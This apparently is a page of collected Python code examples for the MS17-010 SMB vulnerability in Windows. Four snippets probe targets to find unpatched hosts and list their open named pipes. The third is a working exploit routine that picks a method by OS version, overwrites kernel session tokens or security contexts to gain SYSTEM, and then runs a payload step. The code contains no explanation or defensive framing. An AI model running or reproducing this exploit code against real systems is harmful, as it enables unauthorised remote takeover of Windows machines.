Exemplo n.º 1
0
def worawit(target):
	try:
		logger.blue('Connecting to: [{}]'.format(logger.BLUE(target)))
		try:
			conn = MYSMB(target, timeout=5)
		except:
			logger.red('Failed to connect to [{}]'.format(logger.RED(target)))
			return False
		try:
			conn.login(USERNAME, PASSWORD)
		except:
			logger.red('Authentication failed: [{}]'.format(logger.RED(nt_errors.ERROR_MESSAGES[e.error_code][0])))
			quit()
		finally:
			logger.blue('Got OS: [{}]'.format(logger.BLUE(conn.get_server_os())))

		tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$')
		conn.set_default_tid(tid)

		# test if target is vulnerable
		TRANS_PEEK_NMPIPE = 0x23
		recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE), maxParameterCount=0xffff, maxDataCount=0x800)
		status = recvPkt.getNTStatus()
		if status == 0xC0000205:  # STATUS_INSUFF_SERVER_RESOURCES
			logger.green('[{}] IS NOT PATCHED!'.format(logger.GREEN(target)))
		else:
			logger.red('[{}] IS PATCHED!'.format(logger.RED(target)))
			quit()

		logger.blue('Checking named pipes...')
		for pipe_name, pipe_uuid in pipes.items():
			try:
				dce = conn.get_dce_rpc(pipe_name)
				dce.connect()
				try:
					dce.bind(pipe_uuid, transfer_syntax=NDR64Syntax)
					logger.green('\t-\t{}: OK (64 bit)'.format(logger.GREEN(pipe_name)))
				except DCERPCException as e:
					if 'transfer_syntaxes_not_supported' in str(e):
						logger.green('\t-\t{}: OK (32 bit)'.format(logger.GREEN(pipe_name)))
					else:
						logger.green('\t-\t{}: OK ({})'.format(logger.GREEN(pipe_name), str(e)))
				dce.disconnect()
			except smb.SessionError as e:
				logger.red('{}: {}'.format(logger.RED(pipe_name), logger.RED(nt_errors.ERROR_MESSAGES[e.error_code][0])))
			except smbconnection.SessionError as e:
				logger.red('{}: {}'.format(logger.RED(pipe_name), logger.RED(nt_errors.ERROR_MESSAGES[e.error][0])))

		conn.disconnect_tree(tid)
		conn.logoff()
		conn.get_socket().close()
	except (KeyboardInterrupt, SystemExit):
		logger.red('Keyboard interrupt received..')
		quit()
Exemplo n.º 2
0
def checker(host):
    try:
        conn = MYSMB(host)
        try:
            conn.login(USERNAME, PASSWORD)
        except smb.SessionError as e:
            logger.error('LOGIN FAILED: ' +
                         nt_errors.ERROR_MESSAGES[e.error_code][0])
            sys.exit()
        finally:
            logger.info('CONNECTED TO {}'.format(logger.BLUE(host)))
            logger.info('TARGET OS: ' + conn.get_server_os())

        tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$')
        conn.set_default_tid(tid)

        # test if target is vulnerable
        TRANS_PEEK_NMPIPE = 0x23
        recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE),
                                  maxParameterCount=0xffff,
                                  maxDataCount=0x800)
        status = recvPkt.getNTStatus()
        if status == 0xC0000205:  # STATUS_INSUFF_SERVER_RESOURCES
            logger.success('{} IS NOT PATCHED!'.format(logger.GREEN(target)))
        else:
            logger.error('{} IS PATCHED!'.format(target))
            sys.exit()

        logger.action('CHECKING NAMED PIPES...')
        for pipe_name, pipe_uuid in pipes.items():
            try:
                dce = conn.get_dce_rpc(pipe_name)
                dce.connect()
                try:
                    dce.bind(pipe_uuid, transfer_syntax=NDR64Syntax)
                    logger.success('{}: OK (64 bit)'.format(pipe_name))
                except DCERPCException as e:
                    if 'transfer_syntaxes_not_supported' in str(e):
                        logger.success('{}: OK (32 bit)'.format(pipe_name))
                    else:
                        logger.success('{}: OK ({})'.format(pipe_name, str(e)))
                dce.disconnect()
            except smb.SessionError as e:
                logger.error('{}: {}'.format(
                    pipe_name, nt_errors.ERROR_MESSAGES[e.error_code][0]))
            except smbconnection.SessionError as e:
                logger.error('{}: {}'.format(
                    pipe_name, nt_errors.ERROR_MESSAGES[e.error][0]))

        conn.disconnect_tree(tid)
        conn.logoff()
        conn.get_socket().close()
    except:
        logger.error('COULD NOT CONNECT TO {}'.format(logger.RED(host)))
Exemplo n.º 3
0
def exploit(target,username,password,pipe_name):
	logger.blue('Connecting to: [{}]'.format(logger.BLUE(target)))
	conn = MYSMB(target)
	
	# set NODELAY to make exploit much faster
	conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)

	info = {}
	if len(username) == 0 and len(password) == 0:
		logger.blue('Attempting to authenticate with {}'.format(logger.BLUE('null sessions')))
	else:
		logger.blue('Attempting to authenticate as {}:{}'.format(logger.BLUE(username),logger.BLUE(password)))
	try:
		conn.login(username,password,domain,maxBufferSize=4356)
		logger.green('Successfully authenticated as {}:{}'.format(logger.GREEN(username),logger.GREEN(password)))
	except Exception as e:
		logger.red(str(e))
		quit()

	server_os = conn.get_server_os()
	logger.blue('OS: {}'.format(logger.BLUE(server_os)))

	if server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 R2"): # set the ['method'] to the appropriate exploit
		info['os'] = 'WIN7'
		info['method'] = exploit_matched_pairs
	elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 ") or server_os.startswith("Windows 10") or server_os.startswith("Windows RT 9200"):
		info['os'] = 'WIN8'
		info['method'] = exploit_matched_pairs
	elif server_os.startswith("Windows Server (R) 2008") or server_os.startswith("Windows Vista") or server_os.startswith("Windows (R) Web Server 2008"):
		info['os'] = 'WIN7'
		info['method'] = exploit_fish_barrel
	elif server_os.startswith("Windows Server 2003 "):
		info['os'] = 'WIN2K3'
		info['method'] = exploit_fish_barrel
	elif server_os.startswith("Windows 5.1"):
		info['os'] = 'WINXP'
		info['arch'] = 'x86'
		info['method'] = exploit_fish_barrel
	elif server_os.startswith("Windows XP "):
		info['os'] = 'WINXP'
		info['arch'] = 'x64'
		info['method'] = exploit_fish_barrel
	elif server_os.startswith("Windows 5.0"):
		info['os'] = 'WIN2K'
		info['arch'] = 'x86'
		info['method'] = exploit_fish_barrel
	else:
		logger.red('Target isnt supported...')
		quit()

	logger.blue('Checking the named pipes...')	
	if pipe_name is None:
		pipe_name = find_named_pipe(conn)
		if pipe_name is None:
			logger.red('Couldnt get named pipe...')
			return False
		logger.green('Using pipe: [{}]'.format(logger.GREEN(pipe_name)))

	if not info['method'](conn, pipe_name, info): # this then runs exploit_matched_pairs()
		return False

	# Now, read_data() and write_data() can be used for arbitrary read and write.
	# ================================
	# Modify this SMB session to be SYSTEM
	# ================================	
	fmt = info['PTR_FMT']
	
	logger.blue('Creating SYSTEM Session')
	# IsNullSession = 0, IsAdmin = 1
	write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], '\x00\x01')

	# read session struct to get SecurityContext address
	sessionData = read_data(conn, info, info['session'], 0x100)
	secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0]

	if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
		# Windows 2003 and earlier uses only ImpersonateSecurityContext() (with PCtxtHandle struct) for impersonation
		# Modifying token seems to be difficult. But writing kernel shellcode for all old Windows versions is
		# much more difficult because data offset in ETHREAD/EPROCESS is different between service pack.
		
		# find the token and modify it
		if 'SECCTX_PCTXTHANDLE_OFFSET' in info:
			pctxtDataInfo = read_data(conn, info, secCtxAddr+info['SECCTX_PCTXTHANDLE_OFFSET'], 8)
			pctxtDataAddr = unpack_from('<'+fmt, pctxtDataInfo)[0]
		else:
			pctxtDataAddr = secCtxAddr

		tokenAddrInfo = read_data(conn, info, pctxtDataAddr+info['PCTXTHANDLE_TOKEN_OFFSET'], 8)
		tokenAddr = unpack_from('<'+fmt, tokenAddrInfo)[0]
		logger.blue('Current Token Addr: 0x{:x}'.format(tokenAddr))
		
		# copy Token data for restoration
		tokenData = read_data(conn, info, tokenAddr, 0x40*info['PTR_SIZE'])
		
		# parse necessary data out of token
		userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset = get_group_data_from_token(info, tokenData)

		logger.blue('Overwriting Token [UserAndGroups]')
		# modify UserAndGroups info
		fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr)
		if fakeUserAndGroupCount != userAndGroupCount:
			write_data(conn, info, tokenAddr+userAndGroupCountOffset, pack('<I', fakeUserAndGroupCount))
		write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups)
	else:
		# the target can use PsImperonateClient for impersonation (Windows 2008 and later)
		# copy SecurityContext for restoration
		secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE'])

		logger.blue('Overwriting session security context')
		# see FAKE_SECCTX detail at top of the file
		write_data(conn, info, secCtxAddr, info['FAKE_SECCTX'])

	# ================================
	# do whatever we want as SYSTEM over this SMB connection
	# ================================	
	# try:
	smb_pwn(conn, info['arch'])
	# except:
	# 	pass

	# restore SecurityContext/Token
	if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
		userAndGroupsOffset = userAndGroupsAddr - tokenAddr
		write_data(conn, info, userAndGroupsAddr, tokenData[userAndGroupsOffset:userAndGroupsOffset+len(fakeUserAndGroups)])
		if fakeUserAndGroupCount != userAndGroupCount:
			write_data(conn, info, tokenAddr+userAndGroupCountOffset, pack('<I', userAndGroupCount))
	else:
		write_data(conn, info, secCtxAddr, secCtxData)

	conn.disconnect_tree(conn.get_tid())
	conn.logoff()
	conn.get_socket().close()
	return True
Exemplo n.º 4
0
def worawit(target):
    try:
        try:
            conn = MYSMB(target, timeout=5)
        except:
            logger.red('Unable to connect to [{}]'.format(logger.RED(target)))
            return False
        try:
            conn.login(USERNAME, PASSWORD)
        except:
            logger.red('Failed to authenticate to [{}]'.format(
                logger.RED(target)))
            return False
        finally:
            try:
                OS = conn.get_server_os()
            except Exception as e:
                logger.red(str(e))
                return False

        tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$')
        conn.set_default_tid(tid)

        # test if target is vulnerable
        TRANS_PEEK_NMPIPE = 0x23
        recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE),
                                  maxParameterCount=0xffff,
                                  maxDataCount=0x800)
        status = recvPkt.getNTStatus()
        if status == 0xC0000205:  # STATUS_INSUFF_SERVER_RESOURCES
            logger.green('[%s] VULNERABLE' % logger.GREEN(target))
            vulnerable[target] = []
        else:
            logger.red('[%s] PATCHED' % logger.RED(target))

        pipes_found = []

        for pipe_name, pipe_uuid in pipes.items():
            try:
                dce = conn.get_dce_rpc(pipe_name)
                dce.connect()
                try:
                    dce.bind(pipe_uuid, transfer_syntax=NDR64Syntax)
                    try:
                        pipes_found.append(pipe_name)
                    except:
                        pass
                except DCERPCException as e:
                    if 'transfer_syntaxes_not_supported' in str(e):
                        try:
                            pipes_found.append(pipe_name)
                        except:
                            pass
                    else:
                        try:
                            pipes_found.append(pipe_name)
                        except:
                            pass
                dce.disconnect()
                vulnerable[target] = pipes_found
            except smb.SessionError as e:
                continue
            except smbconnection.SessionError as e:
                continue

        conn.disconnect_tree(tid)
        conn.logoff()
        conn.get_socket().close()
    except KeyboardInterrupt:
        logger.red('Keyboard interrupt received..')
        quit()
Exemplo n.º 5
0
def run(target):
    try:
        try:
            logger.verbose('Attempting to connect to %s' % logger.BLUE(target))
            conn = MYSMB(target, timeout=5)
            logger.verbose('Successfully connected to %s' %
                           logger.BLUE(target))
        except Exception as e:
            logger.red('Failed to connect to [{}]'.format(logger.RED(target)))
            logger.verbose('Got error whilst connecting: %s' %
                           logger.BLUE(str(e)))
            return False
        try:
            # login(self, user, password, domain='', lmhash='', nthash='', ntlm_fallback=True, maxBufferSize=None)
            # can add passthehash at some point
            logger.verbose('Attempting to authenticate to %s' %
                           logger.BLUE(target))
            conn.login(username, password, domain)
            logger.verbose('Successfully authenticated to %s' %
                           logger.BLUE(target))
        except Exception as e:
            logger.red('Failed to authenticate to [{}]'.format(
                logger.RED(target)))
            return False
        try:
            logger.verbose('Attempting to get OS for %s' % logger.BLUE(target))
            OS = conn.get_server_os()
            logger.verbose('Got Operting System: %s' % logger.BLUE(OS))
        except Exception as e:
            logger.verbose('Got error whilst getting Operting System: %s' %
                           logger.BLUE(str(e)))
            logger.red('Failed to obtain operating system')

        try:
            tree_connect_andx = '\\\\' + target + '\\' + 'IPC$'
            logger.verbose('Attempting to connect to %s' %
                           logger.BLUE(tree_connect_andx))
            tid = conn.tree_connect_andx(tree_connect_andx)
            conn.set_default_tid(tid)
            logger.verbose('Successfully connected to %s' %
                           logger.BLUE(tree_connect_andx))

        except Exception as e:
            logger.verbose('Got error whilst connecting to %s: %s' %
                           (tree_connect_andx, logger.BLUE(str(e))))
            return False

        # test if target is vulnerable
        logger.verbose('Testing if %s is vulnerable...' % logger.BLUE(target))
        try:
            TRANS_PEEK_NMPIPE = 0x23
            recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE),
                                      maxParameterCount=0xffff,
                                      maxDataCount=0x800)
            status = recvPkt.getNTStatus()
            if status == 0xC0000205:  # STATUS_INSUFF_SERVER_RESOURCES
                logger.green('[%s] VULNERABLE' % logger.GREEN(target))
                vulnerable[target] = []
            else:
                logger.red('[%s] PATCHED' % logger.RED(target))
        except Exception as e:
            logger.verbose(
                'Got error whilst checking vulnerability status %s' %
                logger.BLUE(str(e)))
            return Falses

        pipes_found = []

        if target in vulnerable:
            logger.verbose('Checking pipes on %s' % logger.BLUE(target))
            for pipe_name, pipe_uuid in pipes.items():
                try:
                    dce = conn.get_dce_rpc(pipe_name)
                    dce.connect()
                    try:
                        dce.bind(pipe_uuid, transfer_syntax=NDR64Syntax)
                        try:
                            pipes_found.append(pipe_name)
                        except Exception as e:
                            logger.verbose(
                                'Got error whilst appending pipe to list %s' %
                                logger.BLUE(str(e)))
                            pass
                    except DCERPCException as e:
                        logger.verbose('Got error whilst binding to rpc: %s' %
                                       logger.BLUE(str(e)))
                        if 'transfer_syntaxes_not_supported' in str(e):
                            try:
                                pipes_found.append(pipe_name)
                            except Exception as e:
                                logger.verbose(
                                    'Got error whilst appending pipe to list %s (transfer_syntaxes_not_supported)'
                                    % logger.BLUE(str(e)))
                                pass
                        else:
                            try:
                                pipes_found.append(pipe_name)
                            except Exception as e:
                                logger.verbose(
                                    'Got error whilst appending pipe to list %s !(transfer_syntaxes_not_supported)'
                                    % logger.BLUE(str(e)))
                                pass
                    except Exception as e:
                        logger.verbose('Got error whilst binding to rpc: %s' %
                                       logger.BLUE(str(e)))
                        pass
                    finally:
                        dce.disconnect()
                    vulnerable[target] = pipes_found
                except smb.SessionError as e:
                    logger.verbose(
                        'Got SMB Session error whilst connecting %s' %
                        logger.BLUE(str(e)))
                    continue
                except smbconnection.SessionError as e:
                    logger.verbose(
                        'Got SMB Session error whilst connecting %s' %
                        logger.BLUE(str(e)))
                    continue
                except Exception as e:
                    logger.verbose(
                        'Got SMB Session error whilst connecting %s' %
                        logger.BLUE(str(e)))
                    continue
        try:
            conn.disconnect_tree(tid)
            conn.logoff()
            conn.get_socket().close()
        except Exception as e:
            logger.verbose('Got error whilst disconnecting from rpc %s' %
                           logger.BLUE(str(e)))
            pass
    except KeyboardInterrupt:
        logger.red('Keyboard interrupt received..')
        quit()